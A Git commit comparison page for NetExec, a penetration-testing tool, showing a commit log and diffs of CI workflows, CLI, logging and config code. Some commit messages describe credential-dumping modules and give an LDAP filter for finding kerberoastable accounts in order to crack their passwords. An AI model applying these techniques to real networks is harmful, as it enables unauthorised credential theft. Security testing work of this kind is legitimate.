Compare commits

...
Author SHA1 Message Date
Alexander Neff c873246a11 Add msldap=^0.5.10 2024-04-23 18:33:11 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff 144690d846 Merging neff-dependencies into kali-packaging 2024-04-22 16:17:11 -04:00
Alexander Neff ee88b806b7 Merging main into kali-packaging 2024-04-22 15:52:50 -04:00
Alex 1f8a0ef491 Merge pull request #270 from exploide/ldap-checker-py3.12
ldap-checker: fix for Python 3.12 compatibility
2024-04-21 15:28:08 -04:00
Alex 1ca2fd51b2 Merge pull request #248 from termanix/update_active_users
Ldap active users bug fix
2024-04-21 15:04:13 -04:00
exploide b08c509b3c ldap-checker: use SSLContext.wrap_socket() instead of ssl.wrap_socket() for Python 3.12+ compatibility 2024-04-21 17:44:47 +02:00
Alexander Neff 32bc19a0d5 Add logging statement if useraccountcontrol is none 2024-04-21 10:44:50 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Alexander Neff e37c868529 Losening the sqlalchemy version 2024-04-20 19:55:20 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alexander Neff bc50a2ce87 Merge main into kali-packaging 2024-04-18 19:11:21 -04:00
Alexander Neff f3fd612b56 Update lsassy to 3.1.10 2024-04-18 15:07:10 +02:00
mpgn cd363e97ad Update lsassy.py
it's breaking since update to 3.1.9

Signed-off-by: mpgn <[email protected]>
2024-04-18 15:07:10 +02:00
Alex 4e98f7bb02 Merge pull request #259 from Pennyw0rth/fix_computers_enum 2024-04-17 17:50:42 -04:00
zblurx 16c6ebfe1a fix computers enum 2024-04-17 13:07:25 +02:00
Alex 9662ef69a2 Merge pull request #257 from Pennyw0rth/neff-fix-too-many-files
Fix "Too many open files"
2024-04-16 14:33:03 -04:00
Alexander Neff 5d70195b93 Fix "Too many files" error from discord 2024-04-16 14:02:04 -04:00
Marshall Hallenbeck 7d44b11c2b Merge pull request #255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2024-04-15 20:09:11 -07:00
Marshall Hallenbeck 9e43aab3ee revert STATUS_LOGON_FAILURE change 2024-04-15 13:40:00 -04:00
Marshall Hallenbeck 89d3790aa4 feat(slinky): add SHARES and ICO_URI options; no longer try to write to SYSVOL share 2024-04-13 10:50:21 -07:00
Marshall Hallenbeck fcecda3696 smb(errors): add STATUS_LOGON_FAILURE to errors 2024-04-13 10:50:21 -07:00
Alex d19b5243f1 Merge pull request #254 from Pennyw0rth/neff-ssh
Fix ssh authentication with encrypted ssh file
2024-04-13 01:42:59 +02:00
Alexander Neff 4cabffb525 Fix ssh auth with all key files and fix password processing, also add better exception handling 2024-04-12 16:00:05 -04:00
Alexander Neff b0ccbe28e9 Fix ssh authentication with encrypted ssh file 2024-04-12 15:27:35 -04:00
Marshall Hallenbeck af9656eaee Merge pull request #251 from scottymiller9/main
fixed one grammar error repeated in several files
2024-04-08 11:31:26 -07:00
Scott Miller ca09910606 fixed one grammar error repeated in several files 2024-04-08 05:25:06 +00:00
Alex 32b96c23fb Merge branch 'main' into update_active_users 2024-04-07 16:17:28 +02:00
Marshall Hallenbeck 9359ac26da Merge pull request #237 from Pennyw0rth/marshall-bugfix-3292024
bugfixes: add-computer & nanodump modules
2024-04-05 10:47:51 -07:00
Alex 2d7ac3c8f1 Merge pull request #246 from Pennyw0rth/neff-fix-168 2024-04-05 13:09:38 -04:00
termanix 09f45e866c Update ldap.py
Fixed ruff spaces

Signed-off-by: termanix <[email protected]>
2024-04-04 23:35:05 +03:00
termanix 98e7128293 Update ldap.py
Fixed ruff

Signed-off-by: termanix <[email protected]>
2024-04-04 23:31:09 +03:00
termanix 3523cd69cf Update ldap.py
Change variable name.

Signed-off-by: termanix <[email protected]>
2024-04-04 22:22:53 +03:00
termanix bd5a645571 Ldap active users bug fix 2024-04-04 22:17:53 +03:00
Alex 2f62e1c875 Merge pull request #247 from Pennyw0rth/neff-fix-binary 2024-04-04 14:54:13 -04:00
Alex 044f63b8f3 Merge branch 'main' into neff-fix-binary 2024-04-04 13:38:58 -04:00
Alexander Neff 0a42ebb6ec Add missing packages to spec file, fixing ldap and pso module 2024-04-04 12:20:38 -04:00
Alex 6104b5d27b Merge branch 'main' into marshall-bugfix-3292024 2024-04-04 11:59:28 -04:00
Alex 3be7a02810 Merge pull request #244 from Pennyw0rth/neff-fix-145
Fix tmp PATH on windows for msol and scuffy
2024-04-04 11:59:06 -04:00
Alexander Neff 13ca79f44f Add verbosity to dpapi, so the user knows if no secrets were found 2024-04-04 11:49:31 -04:00
Alexander Neff dbc67e5ef8 Remove left over brackets 2024-04-03 11:05:07 -04:00
Alex 34ebd5ad54 Fix tmp PATH on windows 2024-04-03 16:52:07 +02:00
Alex 5c249d59e5 Merge pull request #239 from Pennyw0rth/marshall-version-setting
Add git commit to version command
2024-04-02 16:14:41 -04:00
Alexander Neff 3e3b37fe1a Fixing lock file 2024-04-02 15:39:48 -04:00
Marshall Hallenbeck 6856d2696a feat(logging): parse debug and verbose args early, so we can properly debug log during cli_arg generation 2024-04-02 13:35:47 -04:00
Alexander Neff 59297e83d5 Fixing lock file 2024-04-02 07:32:56 -04:00
Alexander Neff 41992be628 Merging main into marshall-version-setting 2024-04-02 07:30:36 -04:00
Alex da7c507f3f Merge pull request #126 from Kahvi-0/main
--kerberoast Improvement
2024-04-01 20:57:46 -04:00
Alex 72eeb7e31d Merge branch 'main' into main 2024-04-01 19:46:20 -04:00
Alexander Neff 2189b45c5b Merge branch 'main' into kali-packaging 2024-04-01 19:41:54 -04:00
Alex cd0d3c8f41 Merge pull request #234 from Pennyw0rth/remove-git-deps
Remove oscrypto and swap back to fortra/impacket
2024-04-01 19:39:20 -04:00
Alexander Neff df4ebf3131 Rewriting lock file 2024-04-01 17:20:46 -04:00
Alex 75e9316104 Merge pull request #242 from Pennyw0rth/neff-qol
Neff qol the second
2024-04-01 17:11:15 -04:00
Marshall Hallenbeck ecf5772e86 fix: attempt to split version, and if it fails, then fallback to normal versioning (only happens with poetry) 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 2562b60344 add version back in for when doing poetry dev, since by default it doesnt leverage build-system 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 7c68ab4db6 add commit output to help print 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck a7b6ccf171 set poetry-core back to >= 1.2 2024-04-01 14:23:41 -04:00
mpgn 0ecdfd3564 fixing dynamic version 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck dd075d4dcf fix(deps): change poerty-core back to 1.2 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck cee3430be7 feat(versioning): add git commit to version command, so we know exactly what code is being ran during issue triage 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 01c4a4479a Merge pull request #235 from Pennyw0rth/users-enum-fix
fix --users for LDAP proto
2024-04-01 12:32:03 -04:00
Marshall Hallenbeck 2e493f788d readd exit(1)s for parameter missing failures 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck e348965910 fix(nanodump): properly pass logger 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck b1a07259db fix(add-computer): remove exit(1)s since it caused tests to fail even though there was no programatic failure 2024-04-01 12:29:33 -04:00
Alexander Neff 59a201a8db Catch known error instead of printing traceback 2024-04-01 11:05:25 -04:00
Alexander Neff c331ebec12 Set default worker amount to /24 subnet 2024-04-01 11:05:07 -04:00
Alexander Neff 9aaff6fa06 Adjusting versions 2024-04-01 10:04:29 -04:00
Alexander Neff 9d2d1b65d1 Merge branch 'main' into kali-packaging 2024-04-01 09:21:59 -04:00
Alex 2457ac0259 Merge pull request #236 from swisskyrepo/winlogon-autologon
Winlogon Autologon module
2024-03-31 21:17:10 -04:00
Alex e14bbaf5a3 Merge branch 'main' into remove-git-deps 2024-03-31 21:12:41 -04:00
Alex e728c15c6d Merge branch 'main' into winlogon-autologon 2024-03-31 13:59:44 -04:00
Alex 0eeddfbf83 Merge pull request #240 from Pennyw0rth/neff-qol
Small QOL changes
2024-03-31 13:54:55 -04:00
Alexander Neff 67bf99b39c Add info log message if connection couldn't be established 2024-03-30 21:09:00 +01:00
Alexander Neff 1ba3d04a1d Fix tests 2024-03-30 21:05:03 +01:00
Alex 4b35ab7a9e Merge pull request #230 from Pennyw0rth/neff-cli
Fix testing and linting
2024-03-30 01:16:56 +01:00
Alex b73eabafdd Merge pull request #238 from Pennyw0rth/Marshall-Hallenbeck-patch-1
rename MAQ.py to maq.py
2024-03-30 01:10:47 +01:00
Alexander Neff 3937f46fd6 Remove casting to lower in module names and rename MAQ.py -> maq.py 2024-03-30 01:01:48 +01:00
Marshall Hallenbeck f6c5073ed9 rename MAQ.py to maq.py
it should not be capitalized

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-29 19:21:04 -04:00
Marshall Hallenbeck 49513cc1c3 fixes for sqlalchemy downgrade if needed 2024-03-29 18:06:52 -04:00
Alexander Neff 8f2c847815 Remove old test.txt 2024-03-29 21:16:35 +01:00
Swissky c659d75ae4 Winlogon Autologon module 2024-03-29 20:36:51 +01:00
zblurx 63d6e19208 Merge branch 'main' into users-enum-fix 2024-03-28 14:21:02 +01:00
Alex 114784911c Add py3.12 testing 2024-03-28 14:06:41 +01:00
Alexander Neff cb40697cef Remove oscrypto and swap back to fortra/impacket 2024-03-27 22:41:15 +01:00
Alexander Neff 4af3705c4f Remove loading tests from linting 2024-03-27 20:44:55 +01:00
Alexander Neff c11a4353ce Remove exception => runner should not fail now 2024-03-27 20:40:45 +01:00
Alexander Neff 0626bbc729 Fix tests 2024-03-27 20:38:51 +01:00
Alexander Neff 4fb457c57a Temporarly add test to linting in order to run test the tests (lol) 2024-03-27 20:37:26 +01:00
Alexander Neff b85add8de9 Add cli testing 2024-03-27 20:35:02 +01:00
Alexander Neff cec36e7e24 Update testing README, rename file to match README and add small test suite 2024-03-27 20:17:05 +01:00
Alexander Neff 35fe8b33e6 Reset sqlalchemy to original state 2024-03-27 19:18:06 +01:00
Alexander Neff 160681056b Bump aardwolf and asyauth to prevent installation from crashing 2024-03-27 19:03:05 +01:00
Alexander Neff 840b4dd834 Delete pytest job and add caching 2024-03-27 17:02:01 +01:00
Alex 15d52b778b Merge pull request #231 from Pennyw0rth/marshall-logging-fix 2024-03-27 12:57:15 +01:00
Marshall Hallenbeck eaeda89278 change normal output from DEBUG to INFO 2024-03-27 07:54:23 -04:00
Marshall Hallenbeck 52754f6eba Merge pull request #229 from Pennyw0rth/marshall-logging-fix
Logging fixes (double logging & function caller obfuscation)
2024-03-27 06:35:34 -04:00
zblurx e8a083e58c fix --users for LDAP proto 2024-03-27 11:07:23 +01:00
Alex 69747b9cba Update test.yml 2024-03-27 04:37:14 +01:00
Alex fdcda98d0a Update lint.yml 2024-03-27 04:13:37 +01:00
Alex d03f19eff3 Update lint.yml 2024-03-27 04:12:02 +01:00
Alex deededf441 Update test.yml 2024-03-27 04:11:11 +01:00
Alex 220cecdc0e Update lint.yml 2024-03-27 04:09:11 +01:00
Alexander Neff 32583e94e1 Add ability to trigger test manually 2024-03-27 04:03:46 +01:00
Alexander Neff 9106c9ab0d Lint only on push 2024-03-27 03:58:30 +01:00
Alexander Neff 8235bbdbc0 Fix linting 2024-03-27 03:57:39 +01:00
Alexander Neff e9583ca56c Fix linting 2024-03-27 03:54:31 +01:00
Alexander Neff ffa964647b Fix linting 2024-03-27 03:51:06 +01:00
Alexander Neff c7fcdee1d5 Reenable testing pipeline 2024-03-27 03:49:07 +01:00
Alexander Neff 7a226877e8 Fix testing and linting 2024-03-27 03:42:27 +01:00
Alexander Neff 3e2e57dd7a Pinning dependencies to kali versions, see #211 2024-03-27 03:05:50 +01:00
Marshall Hallenbeck 22da1831ec fix(logging): do not double log output in debug mode; properly show calling file & lineno for such messages 2024-03-26 21:55:05 -04:00
Alex bf737f186d Merge pull request #227 from Pennyw0rth/neff-ldaps-port
Several ldap bug fixes
2024-03-27 02:36:40 +01:00
Marshall Hallenbeck b80aa433d2 Merge pull request #222 from Pennyw0rth/neff-loggedon_users
Make loggedon-users unique to reduce spam and fix alignment
2024-03-26 20:35:13 -04:00
Marshall Hallenbeck 5bd689177f Merge pull request #228 from termanix/patch-1
Module 'get-desc-users' Update - Marshall's #201 Issue Bug Fix
2024-03-26 16:09:19 -04:00
termanix b122a39b15 Update get-desc-users.py
Removed space

Signed-off-by: termanix <[email protected]>
2024-03-25 17:15:06 +03:00
termanix 41ed36d6fa Marshall's #201 Bug Fix
reges edited and output lines added.

Signed-off-by: termanix <[email protected]>
2024-03-25 17:11:15 +03:00
Alex bfe7e46800 Merge pull request #152 from Pennyw0rth/neff-ldap-domain 2024-03-25 12:37:04 +01:00
Alex 2e311a150b Merge pull request #224 from termanix/Update_active_users
Update LDAP active users lookup to match SMB
2024-03-24 19:05:34 +01:00
Alexander Neff 774f77e719 Fixing output if typo in username, fix indent when querying for specific user and formating 2024-03-24 19:01:29 +01:00
Alexander Neff e691e350a9 Fix wrongly displayed domain when using wmi 2024-03-24 18:24:18 +01:00
Alexander Neff 0917a05188 Fix wrongly displayed domain when using winrm and remove duplicate statement 2024-03-24 18:17:08 +01:00
Alexander Neff 04b0b3aa6b Fix wrongly displayed domain when using domain trust in mssql 2024-03-24 18:07:48 +01:00
Alexander Neff 63f9f3507e Small fix for ldap domain with no-ntlm 2024-03-24 18:07:19 +01:00
Alex 09a50d8043 Merge branch 'main' into neff-ldap-domain 2024-03-24 16:23:13 +01:00
termanix e31742ec67 Merge branch 'main' into Update_active_users 2024-03-24 10:41:37 +03:00
Alex a6935b4d8d Merge pull request #218 from Pennyw0rth/neff-enum_av
Fixing antivirus enumeration
2024-03-24 03:03:28 +01:00
Alexander Neff 041645aed9 Fix ldap not reporting DA when using hash login 2024-03-24 02:46:58 +01:00
Alexander Neff 6a24d76db9 Now adding the message, oops 2024-03-24 02:46:35 +01:00
Alexander Neff eb244948e6 Add log message to explain potential ldap channel binding 2024-03-24 02:44:23 +01:00
Marshall Hallenbeck 8940badc09 Merge pull request #216 from Pennyw0rth/ldap-checker-fix
[ldap-checker] Module fix
2024-03-23 14:04:16 -04:00
Marshall Hallenbeck d8284f9178 Merge pull request #226 from Pennyw0rth/issues/221
BloodHound & hash_spider fixes
2024-03-23 09:59:41 -04:00
Marshall Hallenbeck 934ba6f139 fix(hash_spider): fix old db function call for hosts; fixes #221 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck a9bd576392 fix(bloodhound): fail out right away if Bloodhound is enabled and authentication fails to the API 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck 58d2039553 update default bloodhound password 2024-03-22 14:50:01 -04:00
termanix 6c3746643e Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:24:41 +03:00
termanix e0b6f571c8 Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:22:10 +03:00
termanix fc40c778fe Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:12:26 +03:00
termanix 9603f8f450 Update ldap.py
Fixed single quotes and blank spaces

Signed-off-by: termanix <[email protected]>
2024-03-22 19:04:40 +03:00
termanix 7c07ab04d7 Update ldap.py
line 914 and 916 Comparison edited to "is"

Signed-off-by: termanix <[email protected]>
2024-03-22 18:58:45 +03:00
termanix c1a2a92816 Update LDAP active users lookup to match SMB 2024-03-22 18:42:33 +03:00
Marshall Hallenbeck 3dc84e1228 Merge pull request #215 from Pennyw0rth/marshall-ldap-users
Update LDAP users lookup to match SMB
2024-03-22 10:50:49 -04:00
Alexander Neff 1e517c8313 Fix ruff 2024-03-22 12:47:40 +01:00
Alexander Neff c123e37d4e Make loggedon-users unique to reduce spam and fix alignment 2024-03-22 12:43:17 +01:00
Alex 58c0529264 Merge branch 'main' into neff-enum_av 2024-03-22 10:36:27 +01:00
Marshall Hallenbeck 40e99913e3 change extra output to debug statement 2024-03-21 20:45:39 -04:00
Marshall Hallenbeck e870a30416 Merge branch 'main' into marshall-ldap-users 2024-03-21 20:25:51 -04:00
Alex fb8c4bcdcd Merge pull request #220 from Pennyw0rth/marshall-proto-print-fix
Fix: module names 8-10 chars being cut off
2024-03-22 01:23:24 +01:00
Marshall Hallenbeck b0ec4b7951 fix(smb): --users display off by one :) 2024-03-21 20:16:43 -04:00
Marshall Hallenbeck e5bba812e8 fix(ldap): off by one :) 2024-03-21 20:12:06 -04:00
Alexander Neff 49e909c50a Formating 2024-03-21 20:12:06 -04:00
Alexander Neff 14e7034352 Formating 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 6a4852e013 fix/feat: remove unnecessary and ugly ldap-attributes functionality; add in badPwdCount to --users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 3a1e93a386 ruff: apply ruff 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 762a9ac102 feat(ldap): allow for adding additional attributes when querying for users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 0eee328ea0 feat(ldap): allow for specifying specific users to dump for ldap and print last password set date 2024-03-21 20:12:06 -04:00
Alex 0608628aff Merge pull request #214 from Pennyw0rth/issue/203
Fix SMB users lookup and return last password set date
2024-03-22 00:48:01 +01:00
Marshall Hallenbeck 020ec1758c samruser: update --user output header 2024-03-21 19:43:00 -04:00
Alexander Neff 1e68591742 Formating 2024-03-21 23:49:35 +01:00
Marshall Hallenbeck 590a4e2536 format(logger): fix some newlining stuff that got messed up during old black formatting 2024-03-21 18:20:18 -04:00
Marshall Hallenbeck 3c1927afd7 fix: modules with a name between 8 and 10 length were being erroneously cut off 2024-03-21 18:16:09 -04:00
Marshall Hallenbeck 9a915f0f24 fix/feat(samruser): add back in bad password count to --users; closes #219 2024-03-21 18:12:40 -04:00
Marshall Hallenbeck 54e6ebb017 samruser: clean auth line up 2024-03-21 17:42:05 -04:00
Alexander Neff 2e196b5a50 Fix ruff linting 2024-03-21 19:09:15 +01:00
Alexander Neff 382af18513 Fixing enum_av process enumeration and adding more info to ESET 2024-03-21 19:06:21 +01:00
Alexander Neff 39bf9b109c Stop neo4j for spamming into the debug log 2024-03-21 19:06:14 +01:00
zblurx e8fe42cb4a fix ruff warning 2024-03-21 17:09:22 +01:00
zblurx addc060077 fix ldap signing check 2024-03-21 17:04:49 +01:00
Marshall Hallenbeck 2a66f36364 fix(users): remove domain from output, since it's implied, and set timestamp to <never> for last set password date if it should be 2024-03-20 21:57:39 -04:00
Marshall Hallenbeck 60f1785608 ruff: apply ruff 2024-03-20 18:03:28 -04:00
Marshall Hallenbeck ce9b766276 fix+feat(smb-users): allow requesting only specific users, print LastPwSet, and functionize more code for future use 2024-03-20 17:57:31 -04:00
Alex ae158614e6 Merge pull request #213 from Pennyw0rth/neff-nullauth-bh
Stop Netexec from adding null auth user to bloodhound
2024-03-20 01:02:31 +01:00
Alexander Neff d885974121 Stop nxc from trying to add null auth creds to bloodhound 2024-03-19 20:01:11 -04:00
Alex e367bf9fa8 Merge pull request #212 from Pennyw0rth/neff-fix-bloodhound-dump
Adding the fileNamePrefix which was introduced in bloodhound so files…
2024-03-20 00:58:43 +01:00
Alex 6b6decd1d7 Merge pull request #208 from Pennyw0rth/neff-fix-207
Revert #190 to enable null-auth without explicit specification
2024-03-20 00:58:15 +01:00
dt bcd0896bc1 Adding the fileNamePrefix which was introduced in bloodhound so files get properly zipped again 2024-03-19 21:24:09 +01:00
Alexander Neff 328b25b434 Remove unused import 2024-03-17 01:54:37 +01:00
Alexander Neff 45b02250e6 Merge branch main into neff-ldap-domain 2024-03-16 22:18:42 +01:00
Alexander Neff add1c66375 Remove check that should never happen 2024-03-16 21:33:45 +01:00
Kahvi-0xFF 68c197d471 Improve Kerberoast Module
On a test where --kerberoast would not return a ticket for a user I knew was kerberoastable. After some digging I changed the LDAP query in ldap.py to be just "(&(servicePrincipalName=*)(!(objectCategory=computer)))". This removes the check for accounts locked out/inactive and this returned the ticket I was able to see with powerview. 

Personally would still like to get tickets for users that are disabled/locked out in order to attempt to crack their password and see if the password is reused. 

I also changed the error for Bypassing disabled account {sAMAccountName} to be highlight as I thought this is nice to have.

Signed-off-by: Kahvi-0xFF <[email protected]>
2024-03-12 12:53:23 -04:00
zblurx ac2a56ef46 fix ldap-checker module 2024-02-29 16:36:53 +01:00
Alexander Neff 02bdbef712 Fix host domain display output when specifying domain in smb 2023-12-23 16:46:34 +01:00
Alexander Neff 303a051003 Fix host domain display output when specifying domain in ldap 2023-12-23 16:18:20 +01:00
Alexander Neff 3dcd24869d Allow ldap connection with no smb and without domain 2023-12-22 17:10:07 +01:00
48 changed files with 990 additions and 724 deletions

No files matched your search

+2 -2
View File
@@ -1,11 +1,11 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on: [push, pull_request]
on:
push:
jobs:
lint:
name: Lint Python code with ruff
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
+34 -18
View File
@@ -1,32 +1,48 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: NetExec Tests for Py${{ matrix.python-version }}
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
+2
View File
@@ -38,6 +38,7 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
@@ -71,6 +72,7 @@ a = Analysis(
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+12 -4
View File
@@ -9,13 +9,20 @@ import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.logger import nxc_logger
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
parser = argparse.ArgumentParser(description=rf"""
. .
@@ -34,9 +41,10 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
@@ -95,7 +103,7 @@ def gen_cli_args():
sys.exit(1)
if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
return args
+12 -2
View File
@@ -14,6 +14,7 @@ from nxc.protocols.ldap.laps import laps_search
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
@@ -121,7 +122,14 @@ class connection:
try:
self.proto_flow()
except Exception as e:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
finally:
self.logger.debug(f"Closing connection to: {host}")
with contextlib.suppress(Exception):
self.conn.close()
@staticmethod
def proto_args(std_parser, module_parser):
@@ -163,7 +171,9 @@ class connection:
def proto_flow(self):
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
+1 -1
View File
@@ -13,7 +13,7 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
bh_pass = bloodhoundcommunityedition
[Empire]
api_host = 127.0.0.1
+1 -1
View File
@@ -12,7 +12,7 @@ from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
def open_config(config_path):
+4 -4
View File
@@ -52,14 +52,14 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
return
driver.close()
finally:
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
+1 -1
View File
@@ -95,7 +95,7 @@ class ModuleLoader:
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name.lower()}": {
f"{module_spec.name}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
+88 -42
View File
@@ -9,6 +9,72 @@ from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
@@ -16,13 +82,11 @@ class NXCAdapter(logging.LoggerAdapter):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
